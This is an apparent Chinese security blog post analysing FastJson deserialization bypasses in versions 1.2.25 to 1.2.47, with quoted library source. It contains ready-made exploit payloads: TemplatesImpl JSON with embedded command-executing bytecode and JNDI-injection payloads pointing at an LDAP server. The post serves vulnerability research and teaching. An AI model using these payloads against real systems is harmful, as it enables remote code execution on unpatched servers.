前言 FastJson的后续版本修复以及绕过 1.2.25=< version <=1.2.47
漏洞产生原因 总结一下1.2.24的漏洞产生原因,type字段的特性会加载任意类(反序列化入口点),反射调用特定的setter和getter(反序列化链入口),进而从这些链子比如TemplatesImpl走到加载字节码(反序列化的触发payload)
1.2.25-1.2.41 修复 对比两个jar包的不同,在DefaultJSONParser,去掉了TypeUtils.loadClass 直接加载任意类,引入了checkAutoType()
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数 AutoTypeSupport
参考官方wiki
默认 AutoTypeSupport = False(开启白名单)
想要修改则在代码中修改
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
开启白名单的情况即AutoTypeSupport = False
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } return clazz; }
可见AutoTypeSupport = False时需要 同时 先不匹配黑名单、再匹配白名单,才可以进行loadClass,不然最后也会抛出错误
内置默认黑名单有21个,第二个com.sun.导致了TemplateImpl链子的不能正常使用,白名单也为空,所以根本无法利用
关闭白名单的情况即AutoTypeSupport = Truepublic Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) ) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } } return clazz; }
这里就能感觉到存在一些问题了,最后对于不满足黑白名单判断的要进行loadClass,绕过的方式也就存在于loadClass
绕过 利用条件:开启AutoTypeSupport,跟一下 TypeUtils.loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0 ) { return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ) { return clazz; } if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } ...
呼之欲出, 只需要 开头加上 L , 结尾加上 ; ,但是其实 [ 是可以绕过的
所以poc
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.util.HashMap;public class fastjsonDemo { public static void main (String[] args) { String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"yv66vgAAADQAJgo...\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}" ; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
JNDI注入poc
{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1:23457/Command8", "autoCommit":true }
1.2.42 修复 两点
修改明文黑名单为黑名单的hash
对于传入的类名,删除开头L
和结尾的;
用的hash确实能混淆我这种小白
跟进 checkAutoType 去看看,对第一个字符和最后一个字符计算hash,然后判断是L; 删掉
绕过 利用条件:开启AutoTypeSupport
双写L; 就行了
1.2.43 修复 两层判断,如果双写了L; 直接抛错退出
绕过 然后目光就转向了之前的 ‘[‘ 目前我只找到了利用方式,至于细节代码部分,能力有限,挖个坑
利用条件: 需要开启autotype
poc利用了 [ 和 [{ ,同样的可以绕过以上版本
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.util.HashMap;public class fastjsonDemo { public static void main (String[] args) { String payload = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"[{,\"_bytecodes\":[\"yv66vgAAADQAJgo...\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}" ; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
在1.2.44版本修复了[ 绕过黑名单的问题,做法是,以 [ 开头直接抛出异常
1.2.45 这个版本爆了一个绕过黑名单,利用条件: mybatis的3.x版本且<3.5.0、需要开启autotype
poc
{ "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:23457/Command8" } }
1.2.47 - 通杀 利用条件
1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport 1.2.33 <= fastjson <= 1.2.47
回到 checkAutoType 这里
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { Class<?> clazz = null ; if (autoTypeSupport || expectClass != null ) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { long hash = h3; for (int i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0 ) { throw new JSONException("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false ); } return clazz; }
白名单关闭时,匹配白名单后直接加载,抛出异常时需要满足两个条件1.黑名单 2.TypeUtils.getClassFromMapping找不到该类
白名单开启时,首先检查黑名单,我们这里直接被退出,无法利用
看了上面两种情况后,把目光转向第6 .7 .8步,如果从6.7步直接找到了我们需要的类,直接就return,不就可以绕过下面的黑名单,所以现在需要跟进 TypeUtils.getClassFromMapping 中和 deserializers.loadClass 看看到底进行了什么操作
deserializers.findClass com.alibaba.fastjson.parser.ParserConfig private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>()
可以看到deserializers为一个hashmap,因为当前操作为findClass,取数据操作,搜索一下哪些函数进行了赋值,发现有三个
initDeserializers()
getDeserializer()
putDeserializer()
initDeserializers():在构造函数中调用,传入一些没有危害的类
getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
putDeserializer():被前两个函数调用,我们无法控制入参
所以deserializers 的值不可控,都是写死的,没有利用可能
这个deserializers在checkAutoType方法中存在的意义 应该是直接放行一些常用的类,来提升解析速度
TypeUtils.mappings 跟进是一个从mappings的get操作,mappings为 ConcurrentMap 对象
com.alibaba.fastjson.util.TypeUtils private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1)
老样子看看赋值的函数,搜索mappings.put,发现存在两个函数
addBaseClassMappings()
loadClass()
addBaseClassMappings,写死
而且调用处,一处在static静态代码块
一处 clearClassMapping()
完全不可控,转向 loadClass(),这个函数文章一开始跟过,就是利用L;绕过,这次完整分析一下
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className == null || className.length() == 0 ){ return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ){ return clazz; } if (className.charAt(0 ) == '[' ){ Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )){ String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e){ } return clazz; }
也就是说如果可控loadClass()的参数,就很有可能将类名传入到mappings,就可以在黑名单之前return
搜一下Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
用法
跟一下TypeUtils 的 loadClass
就在上方Class<?> loadClass(String className, ClassLoader classLoader)
添加了cache参数为true
搜一下两个参数的loadClass在何处调用
这里就关注com.alibaba.fastjson.serializer.MiscCodec#deserialze
摘取部分代码
public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; if (clazz == InetSocketAddress.class) { ... } Object objVal; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val" .equals(lexer.stringVal())) { throw new JSONException("syntax error" ); } lexer.nextToken(); } else { throw new JSONException("syntax error" ); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else if (objVal instanceof String) { strVal = (String) objVal; } else { } if (strVal == null || strVal.length() == 0 ) { return null ; } if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
整个逻辑大概就是 strVal->objVal->parser.parse() 也就是说json的格式为
{"@type" :"java.lang.Class" ,"val" :"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }
流程跟进 JSON.parseObject()
调用 DefaultJSONParser
对 JSON 进行解析。
进入checkAutoType 进行加载类合法性,由于 deserializers 在初始化时将 Class.class
进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。
回到 DefaultJSONParser.parseObject()
设置 resolveStatus 为 TypeNameRedirect
DefaultJSONParser.parseObject()
根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze()
处理。
因为上面的this.set操作,进入if
成功解析赋值给objVal
继续赋值给strVal
成功走到loadClass,在这里进行了缓存,写入到mappings
进入 设置cache为True
写入缓存mappings中
一路返回,接下来轮到恶意类了,进入checkAutoType 检查
直接功获取到恶意类
然后就是发序列化触发了
exp
{"a" :{"@type" : "java.lang.Class" ,"val" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }, "b" :{"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,"_bytecodes" : ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW" ],'_name' :'c.c' ,'_tfactory' :{ },"_outputProperties" :{},"_name" :"a" ,"_version" :"1.0" ,"allowedProtocols" :"all" }}
参考 JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)
Fastjson 反序列化漏洞 · 攻击Java Web应用